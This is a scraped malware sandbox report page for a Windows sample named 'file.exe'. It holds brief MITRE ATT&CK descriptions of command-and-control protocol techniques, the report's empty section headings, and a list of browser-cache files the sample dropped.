Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\3m-0151c2fda0ce[1].svg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\behaviors-b32b736e8b72[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\bg-glow-purple-6e9a6a96cb04[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dashboard-a70f6c490d6e[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dayhaysoos-c50659cac73b[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\element-registry-f52a50a0449b[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\experiments-d77f07364a5f[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\footer-mona-d1c861cd8018[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\illu-copilot-editor-6474457a5b19[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\illu-pull-requests-2-280cc958fc05[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\illu-secret-scanning-2-88fb429376d6[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\kpmg-c249f20c5173[1].svg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\sessions-f3ddee0032e4[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\shape-2-f30dcc9bd35c[1].svg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\shape-3-9e542b5c31b8[1].svg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\sindresorhus-d3224f241a4d[1].jpg

Windows Analysis Report
file.exe